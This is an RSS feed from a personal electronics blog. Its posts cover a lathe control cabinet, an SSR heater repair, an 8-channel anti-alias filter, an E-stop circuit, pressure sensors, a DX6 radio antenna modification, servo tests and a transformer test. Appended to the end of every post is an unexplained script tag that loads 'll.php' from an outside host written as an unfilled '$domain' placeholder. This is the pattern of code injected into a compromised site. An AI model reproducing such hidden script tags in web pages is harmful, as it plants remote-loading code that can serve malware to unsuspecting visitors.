<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>anderswallin.net &#187; Electronics</title>
	<atom:link href="http://www.anderswallin.net/tag/electronics/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.anderswallin.net</link>
	<description></description>
	<lastBuildDate>Wed, 08 Feb 2012 12:05:52 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Lathe Electronics Cabinet</title>
		<link>http://www.anderswallin.net/2009/12/lathe-electronics-cabinet/</link>
		<comments>http://www.anderswallin.net/2009/12/lathe-electronics-cabinet/#comments</comments>
		<pubDate>Mon, 28 Dec 2009 21:13:14 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Lathe]]></category>
		<category><![CDATA[Electronics]]></category>
		<category><![CDATA[lathe]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/?p=2297</guid>
		<description><![CDATA[A bit of progress with the electronics cabinet for the lathe. Some components have been bolted to the back wall of the cabinet. From left to right: a Bonmet servo-drive for the main spindle servo, a Siemens VFD for the live-tool spindle motor, and to the right two Brushless PWM amps for the X and [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignnone size-medium wp-image-2299" title="cabinet" src="http://www.anderswallin.net/wp-content/uploads/2009/12/cabinet-493x625.jpg" alt="" width="493" height="625" /><br />
A bit of progress with the electronics cabinet for the lathe. Some components have been bolted to the back wall of the cabinet. From left to right: a <a href="http://www.bonmet.com/">Bonmet</a> servo-drive for the main spindle servo, a Siemens <a href="http://en.wikipedia.org/wiki/Variable-frequency_drive">VFD</a> for the live-tool spindle motor, and to the right two Brushless PWM amps for the X and Z axis motors from <a href="http://pico-systems.com/acservo.html">pico-systems</a>. Below these there are two 350W 48VDC switched-mode powersupplies. Today I made holes for two 220VAC 120 mm fans which blow air from both the left and right side into the cabinet directly on the heatsinks of the servo drives. There are plenty of holes in the bottom of the cabinet through which the air can exit.</p>
<p>
<a href='http://www.anderswallin.net/2009/12/lathe-electronics-cabinet/right/' title='right'><img width="150" height="150" src="http://www.anderswallin.net/wp-content/uploads/2009/12/right1-150x150.jpg" class="attachment-thumbnail" alt="right" title="right" /></a>
<a href='http://www.anderswallin.net/2009/12/lathe-electronics-cabinet/left/' title='left'><img width="150" height="150" src="http://www.anderswallin.net/wp-content/uploads/2009/12/left1-150x150.jpg" class="attachment-thumbnail" alt="left" title="left" /></a>
<a href='http://www.anderswallin.net/2009/12/lathe-electronics-cabinet/cabinet/' title='cabinet'><img width="150" height="150" src="http://www.anderswallin.net/wp-content/uploads/2009/12/cabinet1-150x150.jpg" class="attachment-thumbnail" alt="cabinet" title="cabinet" /></a>
<script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.anderswallin.net/2009/12/lathe-electronics-cabinet/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Heater fix: SSR replaced</title>
		<link>http://www.anderswallin.net/2008/12/heater-fix-ssr-replaced/</link>
		<comments>http://www.anderswallin.net/2008/12/heater-fix-ssr-replaced/#comments</comments>
		<pubDate>Thu, 18 Dec 2008 18:48:43 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Electronics]]></category>
		<category><![CDATA[ssr]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/?p=962</guid>
		<description><![CDATA[The heating elements on this heater just kept on heating and heating independent of the temperature. I first checked the thermocouple that measures temperature - but that seemed OK, so the next thing I suspected was the solid-state relay that turns on/off the heating. Turns out this initial guess was right, and I was lucky [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.anderswallin.net/wp-content/uploads/2008/12/heater1.jpg"><img class="alignnone size-medium wp-image-963" title="heater1" src="http://www.anderswallin.net/wp-content/uploads/2008/12/heater1-450x337.jpg" alt="" width="450" height="337" /></a></p>
<p>The heating elements on this heater just kept on heating and heating independent of the temperature. I first checked the thermocouple that measures temperature - but that seemed OK, so the next thing I suspected was the <a href="http://en.wikipedia.org/wiki/Solid_state_relay">solid-state relay</a> that turns on/off the heating. Turns out this initial guess was right, and I was lucky we had a replacement on the shelf, so now the heater works again. The picture above shows the broken SSR on the right.</p>
<p><a href="http://www.anderswallin.net/wp-content/uploads/2008/12/heater2.jpg"><img class="alignnone size-medium wp-image-964" title="heater2" src="http://www.anderswallin.net/wp-content/uploads/2008/12/heater2-450x337.jpg" alt="" width="450" height="337" /></a></p>
<p>New SSR in place.<script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.anderswallin.net/2008/12/heater-fix-ssr-replaced/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>8-channel 4th-order 60 kHz anti-alias low-pass filter</title>
		<link>http://www.anderswallin.net/2008/04/8-channel-4th-order-60-khz-anti-alias-low-pass-filter/</link>
		<comments>http://www.anderswallin.net/2008/04/8-channel-4th-order-60-khz-anti-alias-low-pass-filter/#comments</comments>
		<pubDate>Sat, 26 Apr 2008 21:28:44 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Electronics]]></category>
		<category><![CDATA[Research]]></category>
		<category><![CDATA[filter]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/?p=268</guid>
		<description><![CDATA[I used this Sallen-Key design to build an 8-channel 4th order low-pass anti-alias filter for a 16-bit 200 kS/s +/- 10 V AD-Converter. I calculated the components for the 60 kHz low-pass Butterworth design with this on-line calculator. Previously I've used the MAX274, but that component is limited to +/- 5 V signals. Here I [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.anderswallin.net/wp-content/2008/04_filter/schematic.jpg"><img src="http://www.anderswallin.net/wp-content/2008/04_filter/schematic.jpg" alt="" /></a></p>
<p>I used this <a href="http://en.wikipedia.org/wiki/Sallen_key">Sallen-Key design</a> to build an 8-channel 4th order low-pass anti-alias filter for a 16-bit 200 kS/s +/- 10 V AD-Converter. I calculated the components for the 60 kHz low-pass <a href="http://www.daycounter.com/Filters/Sallen-Key-LP-Calculator.phtml">Butterworth design with this on-line calculator</a>. Previously I've used the <a href="http://www.maxim-ic.com/quick_view2.cfm/qv_pk/1452">MAX274</a>, but that component is limited to +/- 5 V signals. Here I really need the +/- 10 V voltage swing. The exact design calls for 2872 pF, 2452 pF, 6935 pF, and 1016 pF capacitors, but I looked at the transfer function with what values were available in 1% tolerance from <a href="http://www.farnell.com">Farnell</a>, and the response looked fine with (R= 1 k, C1=C2=  2700 pF for the first stage and C1=6800 pF, C2=1000 pF for the second stage). Both the resistors and capacitors (~1.5 eur/pcs!) have a tolerance of 1 %, which according to a monte-carlo simulation should not affect the response that much. I'm using <a href="http://www.analog.com/en/prod/0,,759_786_OP42,00.html">OP42 op-amps</a> with a unity-gain bandwidth of 10 MHz, which should be adequate (100x the cut-off frequency was recommended in a guide I read, that would be 6 MHz in this case).</p>
<p>For testing I hooked up a signal generator and an oscilloscope and wrote a LabVIEW program to loop trough around 250 different frequencies while recording the peak-to-peak value of the filter input and output signals. The oscilloscope only has an 8-bit AD converter, but I adjusted the analogue gain between 5 V/div and 2 mV/div to achieve effectively around 16-bit dynamic range.</p>
<p><a href="http://www.anderswallin.net/wp-content/2008/04_filter/resp.png"><img src="http://www.anderswallin.net/wp-content/2008/04_filter/resp.png" alt="" /></a></p>
<p>This is the result of testing all channels with a 20 Vpp sine wave between 100 Hz and 10 MHz. The blue curve shows the design response and the red and green curves show the maximum and minimum expected response from the monte-carlo simulation (I drew all component values from normal distributions with 1 % standard deviations). Pretty nice agreement until ~500 kHz. Here's another view of the data:</p>
<p><a href="http://www.anderswallin.net/wp-content/2008/04_filter/dev.png"><img src="http://www.anderswallin.net/wp-content/2008/04_filter/dev.png" alt="" /></a></p>
<p>This figure shows the deviation of the real filters from the design response, again confirming that everything works as it should up to 500 kHz.</p>
<p>Log-log plots can be confusing, so here's a semilog plot and a linear plot of the same data:</p>
<p><a href="http://www.anderswallin.net/wp-content/2008/04_filter/lin_a.png"><img src="http://www.anderswallin.net/wp-content/2008/04_filter/lin_a.png" alt="" width="125" /></a><a href="http://www.anderswallin.net/wp-content/2008/04_filter/lin_f.png"><img src="http://www.anderswallin.net/wp-content/2008/04_filter/lin_f.png" alt="" width="125" /></a><a href="http://www.anderswallin.net/wp-content/2008/04_filter/lin_lin.png"><img src="http://www.anderswallin.net/wp-content/2008/04_filter/lin_lin.png" alt="" width="125" /></a></p>
<p>Here are the source files for this design:</p>
<ul>
<li><a href="http://www.anderswallin.net/wp-content/2008/04_filter/aa-filt_2008apr25.sch">Schematic</a></li>
<li><a href="http://www.anderswallin.net/wp-content/2008/04_filter/aa-filter_v4_2008apr25.pcb">PCB</a> (or look at the <a href="http://www.anderswallin.net/wp-content/2008/04_filter/pcb.jpg">jpeg pic</a>)</li>
</ul>
<p>The box actually looks like this.</p>
<p><img src="http://www.anderswallin.net/wp-content/2008/04_filter/filterbox.jpg" alt="" /><script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.anderswallin.net/2008/04/8-channel-4th-order-60-khz-anti-alias-low-pass-filter/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>E-stop circuit</title>
		<link>http://www.anderswallin.net/2008/03/e-stop-circuit/</link>
		<comments>http://www.anderswallin.net/2008/03/e-stop-circuit/#comments</comments>
		<pubDate>Sun, 16 Mar 2008 16:33:42 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[CNC]]></category>
		<category><![CDATA[Electronics]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/2008/03/e-stop-circuit/</guid>
		<description><![CDATA[This is the E-stop circuit I am going to use when upgrading the cnc-mill to servo control. The idea is to use a wire-OR circuit (series connection of NC switches) for things that cause an E-stop followed by a wire-AND circuit (parallel connection of relays) for things I want to happen at E-stop. The E-stop [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.anderswallin.net/wp-content/2008_03estop/e-stop.jpg"><img src="http://www.anderswallin.net/wp-content/2008_03estop/e-stop.jpg" /></a></p>
<p>This is the E-stop circuit I am going to use when upgrading the cnc-mill to servo control. The idea is to use a wire-OR circuit (series connection of NC switches) for things that cause an E-stop followed by a wire-AND circuit (parallel connection of relays) for things I want to happen at E-stop.</p>
<p>The E-stop out signal from EMC is wired to the top right of this board (labeled E-stop IN...). When this signal goes high it closes the rightmost relay which has +12V wired to it. The 12 V then goes through a series of NC switches, which I've here just shorted out with the black wires. In reality the black wires will be replaced by one E-stop button on the main enclosure, one E-stop button on the jog-pendant, X/Y/Z limit switches, NC servo-amp fault relays, and a VFD NC fault relay.</p>
<p>When all is well +12 V is supplied to the three other relays, and these provide NC or NO outputs. One is used to tell EMC everything is OK (E-stop IN signal in EMC), one is used to enable the power switch of the axis servos, and one is spare for now.</p>
<p>This should make the machine reasonably safe. If any of the E-stop buttons are pressed, a limit is tripped, or the servo amps/VFD are not feeling well we should go into E-stop, and that will cut power from the servos. EMC will also notice this and I'm relying on EMC to shut down the coolant pump and the VFD.<script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.anderswallin.net/2008/03/e-stop-circuit/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Pressure gauges</title>
		<link>http://www.anderswallin.net/2008/03/pressure-gauges/</link>
		<comments>http://www.anderswallin.net/2008/03/pressure-gauges/#comments</comments>
		<pubDate>Fri, 07 Mar 2008 20:11:20 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Research]]></category>
		<category><![CDATA[Electronics]]></category>
		<category><![CDATA[microfluidics]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/2008/03/pressure-gauges/</guid>
		<description><![CDATA[This 8-channel pressure-gauge card is a step towards proper control of fluid flow in microfluidic devices. The transducers (0-1 psi) are around 30 eur each and made by Honeywell. The mV-level signal from a Wheatstone bridge in the transducer is amplified by an instrumentation amplifier (INA111) to around 0-10 V for input to a 16-bit [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.anderswallin.net/wp-content/2008_03p/paine.jpg"><img src="http://www.anderswallin.net/wp-content/2008_03p/paine.jpg" /></a></p>
<p>This 8-channel pressure-gauge card is a step towards proper control of fluid flow in microfluidic devices. The transducers (0-1 psi) are around 30 eur each and made by Honeywell. The mV-level signal from a <a href="http://en.wikipedia.org/wiki/Wheatstone_bridge">Wheatstone bridge</a> in the transducer is amplified by an instrumentation amplifier (<a href="http://focus.ti.com/docs/prod/folders/print/ina111.html">INA111</a>) to around 0-10 V for input to a 16-bit AD-converter.<script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.anderswallin.net/2008/03/pressure-gauges/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Spektrum DX6 antenna mod.</title>
		<link>http://www.anderswallin.net/2007/11/spektrum-dx6-antenna-mod/</link>
		<comments>http://www.anderswallin.net/2007/11/spektrum-dx6-antenna-mod/#comments</comments>
		<pubDate>Sat, 17 Nov 2007 08:44:42 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Electronics]]></category>
		<category><![CDATA[2.4GHz]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/2007/11/spektrum-dx6-antenna-mod/</guid>
		<description><![CDATA[By popular demand, some notes on how I've placed the antenna of my Spektrum DX6 transmitter inside the case. I've been using the radio like this ever since I got it and provided that you hold up the radio more or less vertically and not hide behind large metal constructions or things like that the [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.anderswallin.net/wp-content/2007_11dx6mod/dx6_1.jpg"><img src="http://www.anderswallin.net/wp-content/2007_11dx6mod/dx6_1.jpg" /></a></p>
<p>By popular demand, some notes on how I've placed the antenna of my Spektrum DX6 transmitter inside the case. I've been using the radio like this ever since I got it and provided that you hold up the radio more or less vertically and not hide behind large metal constructions or things like that the range is fine. The benefit of the internal antenna is that I don't have to worry about breaking it while sailing it or storing the protruding thing in the toolbox. When it rains it's nice to fit the whole transmitter into the rain-cover which doesn't have any (potentially leaking) holes (other than the two holes for my hands!). A plug for the antenna hole to prevent dirt etc. entering the Tx would probably be a good idea.</p>
<p>If someone has a feeling for what theoretically a  2-3 mm wall of plastic does to an RF signal at 2.4 GHz, let me know.</p>
<p><a href="http://www.anderswallin.net/wp-content/2007_11dx6mod/dx6_2.jpg"><img src="http://www.anderswallin.net/wp-content/2007_11dx6mod/dx6_2.jpg" /></a></p>
<p>Here is the back cover and six screws that hold it removed along with the battery (I've put Deans connectors on the Tx battery to simplify charging). With a stock DX6 the antenna would be sticking out at the top and there would be a few extra pieces of black plastic supporting it. I remember I broke some of those black plastic parts when I disassembled the antenna - so proceed carefully if you think you want to go back to the stock configuration sometime. I didn't touch the electrical connection of the antenna at all, the thin grey coax that comes out of the antenna attaches to the RF PCB just like it does on the stock Tx.</p>
<p><a href="http://www.anderswallin.net/wp-content/2007_11dx6mod/dx6_3.jpg"><img src="http://www.anderswallin.net/wp-content/2007_11dx6mod/dx6_3.jpg" /></a></p>
<p>Here's a close-up of the antenna. You can see a part of the old antenna-hinge around the grey coax to the left (a bit dangerous to cut it away with a knife or pliers since you risk damage to the delicate coax). I've taped the antenna upside down to the RF board. There are probably other places inside the case the antenna could fit as well, but this seems to work OK.</p>
<p>If anyone has done something similar do let me know! I'd be happy to post pictures here if you send them to me.</p>
<p><a href="http://www.spektrumrc.com/">Spektrum</a>: I hope you are taking notes, I expect your next radio to have an internal antenna!</p>
<p>Talking about DX6 modifications, I did order <a href="http://www.dimensionengineering.com/appnotes/spektrum_mod/spektrum_mod.htm">the voltage regulator for the improved runtime modification</a>, but the runtime with 2700 mAh NiMH's is just fine so I haven't installed the improved regulator yet.</p>
<p><strong>Update 2007Nov17: </strong></p>
<p><a href="http://www.anderswallin.net/wp-content/2007_11dx6mod/dx7.jpg"><img src="http://www.anderswallin.net/wp-content/2007_11dx6mod/dx7.jpg" /></a></p>
<p><a href="http://www.netikka.net/martonen/">Olle Martonen</a> sent me this pic of his modified Spektrum DX7. He mounted the antenna horizontally behind the regulator/switch PCB. Also note the wooden plug in the antenna hole. Not much sailing done with this system yet, but range-checking on the ground indicates there should be no problems.</p>
<p>I also got some observations be email on RF issues from a mobile-phone perspective: A few mm of plastic will not attenuate the signal measurably. Conducting materials are worse, like some mobile phone shells that are covered with carbon-containing paint, or your fingers on the back side of the transmitter. My placement of the antenna close to the RF-box (the metal square), and the PCB (also metal-coated), is not optimal, and could lead to an attenuation of 3-5 dB. A distance of 2-3 cm to the conductive parts would be better, so I'll maybe look for other places inside the Tx where the antenna could fit (Olle's example above is a bit better since the antenna is farther away from the RF-box).</p>
<p><strong>Update 2007Nov22:</strong></p>
<p>Winston Mathews sent me this picture along with a description: "Here are our modified DX6 radios.  2200 mAh batteries, new voltage regulator, jib-trim potentiometer and now "internal" antennae (mounted horizontally).  Range is unaffected.  Thanks for the idea and your help.  I would advise to install the voltage regulator.  We can sail for two days without recharging. " Photo by Jack Wubble, owner of the open radio in the pic. Discussion on this is <a href="http://www.ec12.org/Clubhouse/Discussion/forum.asp?FORUM_ID=4">over at the EC12 discussion forum</a>.</p>
<p><a href="http://www.anderswallin.net/wp-content/2007_11dx6mod/mod003.jpg"><img src="http://www.anderswallin.net/wp-content/2007_11dx6mod/mod003.jpg" /></a></p>
<p style="font-weight: bold">Update 2007 Nov 23:</p>
<p>Some text and images on modifying a Futaba 2.4 GHz radio on <a href="http://www.ec12.info/Bulletins.htm">the EC12 website</a>.</p>
<p><a href="http://www.ec12.info/images/TX19.jpg"><img src="http://www.ec12.info/images/TX19.jpg" height="640" width="956" /></a></p>
<p><a href="http://www.ec12.info/images/TX20.jpg"><img src="http://www.ec12.info/images/TX20.jpg" height="640" width="956" /></a><script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.anderswallin.net/2007/11/spektrum-dx6-antenna-mod/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Spinning the DC Servos</title>
		<link>http://www.anderswallin.net/2007/11/spinning-the-dc-servos/</link>
		<comments>http://www.anderswallin.net/2007/11/spinning-the-dc-servos/#comments</comments>
		<pubDate>Sat, 03 Nov 2007 18:15:56 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[CNC]]></category>
		<category><![CDATA[EMC]]></category>
		<category><![CDATA[Electronics]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/2007/11/spinning-the-dc-servos/</guid>
		<description><![CDATA[Some good steps towards driving our cnc-mill with DC-servos taken today. I got the pico-systems servodrives wired correctly, the new 50 kHz PWM m5i20 configuration loaded onto the fpga, and updated my pyvcp test panel a bit. I'm using three 19" rack enclosures. The lower one has a 1.8 kVA transformer, the middle one houses [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.anderswallin.net/wp-content/2007_11servos/servos.jpg"><img src="http://www.anderswallin.net/wp-content/2007_11servos/servos.jpg" /></a></p>
<p>Some good steps towards driving our cnc-mill with DC-servos taken today. I got the <a href="http://www.pico-systems.com/">pico-systems</a> servodrives wired correctly, the new 50 kHz PWM <a href="http://www.mesanet.com/">m5i20</a> configuration loaded onto the fpga, and updated <a href="http://www.anderswallin.net/2007/09/pyvcp-m5i20-hostmot-4-test-panel/">my pyvcp test panel</a> a bit. I'm using three 19" rack enclosures. The lower one has a 1.8 kVA transformer, the middle one houses the servodrives, and the top one has differential encoder cards for the motors and optoisolator interfaces to the m5i20.</p>
<p>One small setback was that the servodrives wanted the PWM in reverse polarity compared to what I had available. There's nothing in the m5i20 driver to reverse the polarity of the DAC output PWM. Fortunately the drives have optocoupler inputs so instead of GND-PWM I wired them in a PWM-Vcc configuration and it worked OK. I did an open-loop no load test (below) where I monitored the RPM while changing the DAC output. There's a bit of dead-band in the middle where nothing happens between DAC values of about -0.2 and +0.2. After that the curve is pretty linear up to +9.7 after which the PWM pulse becomes unacceptably short for the servodrive and at DAC=9.8 or above the motors just jump and stutter. So eventually with EMC and PID control I need to limit the DAC range to [-9.7 , +9.7].</p>
<p><a href="http://www.anderswallin.net/wp-content/2007_11servos/dac_vs_rpm.jpg"><img src="http://www.anderswallin.net/wp-content/2007_11servos/dac_vs_rpm.jpg" /></a></p>
<p>Next is probably trying out closed-loop PID control, and after that I need to look at the E-stop chain, home switches, a relay for the flood coolant pump, and controlling the VFD/Spindle.<script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.anderswallin.net/2007/11/spinning-the-dc-servos/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Transformer test</title>
		<link>http://www.anderswallin.net/2007/07/transformer-test/</link>
		<comments>http://www.anderswallin.net/2007/07/transformer-test/#comments</comments>
		<pubDate>Thu, 05 Jul 2007 15:59:08 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Electronics]]></category>
		<category><![CDATA[CNC]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/2007/07/transformer-test/</guid>
		<description><![CDATA[There was something strange going on when I measured the transformer last time, and since that I've gotten a few pointers from visitors to the blog and the CAD_CAM_EDM_DRO list. I now did a test without the inrush current-limiter, and it does make a difference. It is rated for 8 A continuous current, but apparently [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.anderswallin.net/wp-content/2007_07psu/nolimit.png" /></p>
<p>There was something strange going on <a href="http://www.anderswallin.net/2007/06/1800-w-80-v-psu-for-servos/">when I measured the transformer last time</a>, and since that I've gotten a few pointers from visitors to the blog and the <a href="http://groups.yahoo.com/group/CAD_CAM_EDM_DRO/">CAD_CAM_EDM_DRO list</a>.</p>
<p>I now did a test without the inrush current-limiter, and it does make a difference. It is rated for 8 A continuous current, but apparently it limits current much before that...</p>
<p>Now the 'AC load' line is measured by hooking up resistive loads to the secondary windings (no rectifier or caps), and it shows a series resistance of about 0.3 Ohms, or similar to what can be measured with a multimeter over the secondary windings. So at least the transformer seems to be working.</p>
<p>Then I hook up the secondary to the diode bridge and the caps and connect the same set of resistive loads as before. That's the 'DC load' measurements above. There again I see a big drop in voltage at first that then levels off somewhat. For the points above 5 A current the voltage drop is around 2 V per amp, or about a 2 Ohm effective series resistance. Also, the transformer does not emit any sound at all during the AC test, but now with the rectifier and caps when I load it up there is a slight 'humm' sound(probably 50 Hz and its harmonics).</p>
<p>I wonder if that 2 Ohm is typical or if there still is something strange going on? (could the rectifier bridge be too small? Anything wrong with my 4x 10 000 uF 100 V electrolytic caps?)</p>
<p>I tested this with one bridge rectifier <a href="http://www.chipcatalog.com/Taiwan/GBPC5004.htm">GBPC5004</a> rated at 400V/50A and another one, a <a href="http://www.chipcatalog.com/Taiwan/GBPC5010.htm">GBPC5010</a> rated 1000V/50A, but the results are the same. Looking with an oscilloscope at 6 A load at the DC voltage there is about 1.4 V of ripple.<script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.anderswallin.net/2007/07/transformer-test/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

